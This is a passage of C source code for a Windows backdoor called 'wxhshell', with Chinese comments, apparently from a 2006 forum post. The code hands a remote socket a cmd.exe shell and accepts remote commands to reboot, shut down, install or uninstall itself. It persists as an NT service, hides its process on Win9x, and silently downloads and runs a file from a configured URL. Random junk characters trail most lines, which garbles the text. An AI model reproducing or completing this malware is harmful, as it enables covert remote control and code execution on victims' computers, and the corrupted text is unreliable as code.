  // 帮助 whc[@Tyx  
  case '?': { x%BF {Sw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V+B71\x<  
    break; KI&:9j+M)  
  } )c tr"&-  
  // 安装 >w'$1tc?+F  
  case 'i': { %l9$a`&  
    if(Install())  7 Yv!N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZykrQ\q9  
    else z[!x:# q8`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EZr6oO@Nc  
    break; 9q4_j  
    } E)YVfM  
  // 卸载 !G=>ve  
  case 'r': { |KG&HN fP-  
    if(Uninstall()) IS_Su;w>4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8:g!w:$x  
    else -wr(vE,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FRyPeZR  
    break; -Wo15O"  
    } Y_H/3?b%  
  // 显示 wxhshell 所在路径 Ky9W/dCR  
  case 'p': { -Wjh**  
    char svExeFile[MAX_PATH]; K}x/ BhE+  
    strcpy(svExeFile,"\n\r"); yqcM(,0]  
      strcat(svExeFile,ExeFile); tEhr  
        send(wsh,svExeFile,strlen(svExeFile),0); 6}&^=^-  
    break; f~\Xg7<  
    } 6M><(1fT  
  // 重启 zNtq"T[  
  case 'b': { Lx+`<<_dJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 12gw#J/)9h  
    if(Boot(REBOOT)) W,NL*($^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 70iH0j)  
    else { 3IyZunFT  
    closesocket(wsh); Pz~q%J  
    ExitThread(0); H7e /  
    } ?JqjYI{$  
    break; v}`1)BUeF  
    } 9m!7|(QV  
  // 关机 |cTpw1%I~  
  case 'd': { ' iQ9hQjD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _X%Dw  
    if(Boot(SHUTDOWN)) yq*JdTF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cf*zejbw  
    else { 9)ea.Gu  
    closesocket(wsh); <aVfJd/fT  
    ExitThread(0); k=uZ=tUft*  
    } sv=^k(d3  
    break; WN0c %kz=  
    } P4%>k6X  
  // 获取shell f-+.;`H)T  
  case 's': { )Qr6/c 8}  
    CmdShell(wsh); euZ(}+N&  
    closesocket(wsh); p{C9`wi)  
    ExitThread(0); zD_H yGf  
    break; =~,l4g\  
  } n6cq\@~A  
  // 退出 &>=#w"skb6  
  case 'x': { ZLJNw0!=|t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qY}Cg0[@g  
    CloseIt(wsh); W78o*z[O  
    break; Kq7C0)23  
    } $^$ECDOTB  
  // 离开 HDj$"pS  
  case 'q': { Tk+DPp^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $c9=mjwH  
    closesocket(wsh); )>$^wT  
    WSACleanup(); kIM C~Z  
    exit(1); 9.-47|-9C  
    break; oc;VIK)g]c  
        } Hja^edLj  
  } uGCtLA+sL  
  } E\! n49  
!3x *k;0  
  // 提示信息 ewQe/Fq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k`@w(HhS  
} sRi%1r7  
  } 1*c>I@I;  
^srs$ w]  
  return; *H*\gaSh  
} F(0Z ]#+  
u_Zm1*'?B  
// shell模块句柄 85C#ja1&  
int CmdShell(SOCKET sock) lPp6 pVr  
{ f !!P  
STARTUPINFO si; ^2JPyyZa  
ZeroMemory(&si,sizeof(si)); #S *pD?VZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d5' )6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AA.Ys89V  
PROCESS_INFORMATION ProcessInfo; z"qv  
char cmdline[]="cmd"; w`-$-4i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6`W|V+6|7  
  return 0; g-eq&#  
} T0?uC/7H  
nrbazyKm  
// 自身启动模式 vnVZJ}]w\  
int StartFromService(void) FK3Whe{KP{  
{ \bRy(Z)  
typedef struct 2YluJ:LN  
{ %09*l%,;  
  DWORD ExitStatus; `{L{wJ:&a  
  DWORD PebBaseAddress; Z fqQ {_  
  DWORD AffinityMask; L6kZ2-6  
  DWORD BasePriority; @ AggznA8  
  ULONG UniqueProcessId; O(Td:Zdp  
  ULONG InheritedFromUniqueProcessId; '2xcce#  
}   PROCESS_BASIC_INFORMATION; wzbz }P>  
i :EO(`  
PROCNTQSIP NtQueryInformationProcess; c _p[yS  
o oDdV >  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A`Q >h{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IadK@?X6j  
;YM]K R;  
  HANDLE             hProcess; ex=)H%_|  
  PROCESS_BASIC_INFORMATION pbi; 1^tSn#j  
zM\IKo_"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )1K! [ W}t  
  if(NULL == hInst ) return 0; mCK],TOA:  
Mb~~A5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D2V v\f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pd7O`.3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >*{:l,LH  
|yU3Kt  
  if (!NtQueryInformationProcess) return 0; +/(|?7i@  
hw|t8 ShW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cp|:8 [  
  if(!hProcess) return 0; n{z8Ao%  
iA&oLu[y3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qz87iJp&  
IY0 3"  
  CloseHandle(hProcess); 9D%qXU  
q$|0)}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L1rA T  
if(hProcess==NULL) return 0; Pwg/Vhfh  
gINwvzW{  
HMODULE hMod; "B~WcC  
char procName[255]; _Ws#UL+Nq  
unsigned long cbNeeded; 4*H(sq  
tr5'dX4]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K:uQ#W.&  
S;>4i!Mb ^  
  CloseHandle(hProcess); C)U #T)  
A3<^ U  
if(strstr(procName,"services")) return 1; // 以服务启动 Xn PJC'  
=>e?l8`%  
  return 0; // 注册表启动 yr%yy+(.k  
} JR!Q,7S2!N  
-ywX5B  
// 主模块 "2%y~jrDN  
int StartWxhshell(LPSTR lpCmdLine) 8B_0!U& ]  
{ "wC0eDf  
  SOCKET wsl; XRtyC4f  
BOOL val=TRUE; IL2e6b  
  int port=0; i]LU4y %'  
  struct sockaddr_in door; XNKtL]U}$  
g(KK9Unu  
  if(wscfg.ws_autoins) Install(); n}VbdxlN  
~37R0`C  
port=atoi(lpCmdLine); 48H5_9>:  
loR,XW7z  
if(port<=0) port=wscfg.ws_port; )CFk`57U  
f_~}X#._  
  WSADATA data; =obt"K%n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PIgGXNo  
3,%nkW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9) jo7,VM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "IOC[#&G  
  door.sin_family = AF_INET; 8?A@/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o@Scz!"g  
  door.sin_port = htons(port); #dHr&1(  
VtD@&N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /L)?> tg  
closesocket(wsl); \moZ6J  
return 1; !p-'t]  
} ~wa%fM  
p .lu4  
  if(listen(wsl,2) == INVALID_SOCKET) { c5Z;%v |y  
closesocket(wsl); ;_>s0rUV  
return 1; l}dj{s  
} A>4l/  
  Wxhshell(wsl); TlM'g6SQS  
  WSACleanup(); &"sX^6t  
dko[  
return 0; 9)#gtDM%J  
f&=K]:WDe  
} @gs26jX~2}  
37J\i ]  
// 以NT服务方式启动 0Ddn@!J*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u4go*#  
{ JqL<$mSep  
DWORD   status = 0; ]lymY _ >  
  DWORD   specificError = 0xfffffff; &uv>'S#%  
:yd=No@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %j~9O~-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .@4QkG/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *U( 1iv0n  
  serviceStatus.dwWin32ExitCode     = 0; j7QBU  
  serviceStatus.dwServiceSpecificExitCode = 0; qJ#L)  
  serviceStatus.dwCheckPoint       = 0; xAR^  
  serviceStatus.dwWaitHint       = 0; m]bL)]Z  
dVasm<lZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '~ jy  
  if (hServiceStatusHandle==0) return; hVQ7'@  
2q2p=H>&  
status = GetLastError(); ju8',ZC  
  if (status!=NO_ERROR) & gY;`*<  
{ THrc H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~+sne7 6 U  
    serviceStatus.dwCheckPoint       = 0; oc!biE`u  
    serviceStatus.dwWaitHint       = 0; #N<s^KYG-  
    serviceStatus.dwWin32ExitCode     = status; }T?i%l  
    serviceStatus.dwServiceSpecificExitCode = specificError; 113Z@F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SIKk|I)  
    return; \DG( 8l  
  } Yt\E/*%  
YR$tPe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .d<~a1k  
  serviceStatus.dwCheckPoint       = 0; P58\+9d_  
  serviceStatus.dwWaitHint       = 0; jrDz7AfA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rU/-Wq`B  
} 4v rm&k  
v1`bDS?*Q  
// 处理NT服务事件,比如:启动、停止 S/#) :,YS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MAsWds`bpB  
{ u.ULS3`C/X  
switch(fdwControl) k+W  
{ sg'Y4  
case SERVICE_CONTROL_STOP: k@'?"CP\Xq  
  serviceStatus.dwWin32ExitCode = 0; ?K= gg<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GM34-GH+  
  serviceStatus.dwCheckPoint   = 0; Vvxc8v:  
  serviceStatus.dwWaitHint     = 0; O+CF/ipX/  
  { eY0Ly7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yb@X*PW/z  
  } SL?%/$2g=O  
  return; }'@tA")-)  
case SERVICE_CONTROL_PAUSE: *#X+Gngo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I v 80,hW  
  break; F9>(W#aC  
case SERVICE_CONTROL_CONTINUE: lW{I`r\]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *so6]+)cU  
  break; Xm_Ub>N5  
case SERVICE_CONTROL_INTERROGATE: -ucz+{  
  break; ; /6:lL  
}; {,nd_3"Vq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |THkS@Br  
} @j)f(Zlu#  
/NPl2\o.  
// 标准应用程序主函数 rRF+\cP?.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $g}/T_26  
{ LbtlcpF*~5  
1Ud t9$~T  
// 获取操作系统版本 YyX^lL_  
OsIsNt=GetOsVer(); f_z2#,g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); UcKWa>:Fi  
;iwD/=Y  
  // 从命令行安装 BMtYM{S6  
  if(strpbrk(lpCmdLine,"iI")) Install(); HbJadOK  
8yJk81 gY  
  // 下载执行文件 ;n:H6cp  
if(wscfg.ws_downexe) { |r<.R>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $w2[5|^S  
  WinExec(wscfg.ws_filenam,SW_HIDE); juve9HaW  
} Aw_R $  
Px^<2Q%Fs  
if(!OsIsNt) { Yc|-sEK/  
// 如果时win9x,隐藏进程并且设置为注册表启动 A61-AwvF8-  
HideProc(); *`\4j*$^  
StartWxhshell(lpCmdLine); 0*]<RM  
} <9MQ  
else y7}~T!UyfF  
  if(StartFromService()) 2_ZHJ,r   
  // 以服务方式启动 V.E.~<7D\  
  StartServiceCtrlDispatcher(DispatchTable); Q xj|lr  
else 6i?kkULBS  
  // 普通方式启动 52q!zx E  
  StartWxhshell(lpCmdLine); B4M'Er{v  
DI"dY ug#  
return 0; 4F 6ju6w  
}
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只看该作者 1 发表于: 2006-10-10
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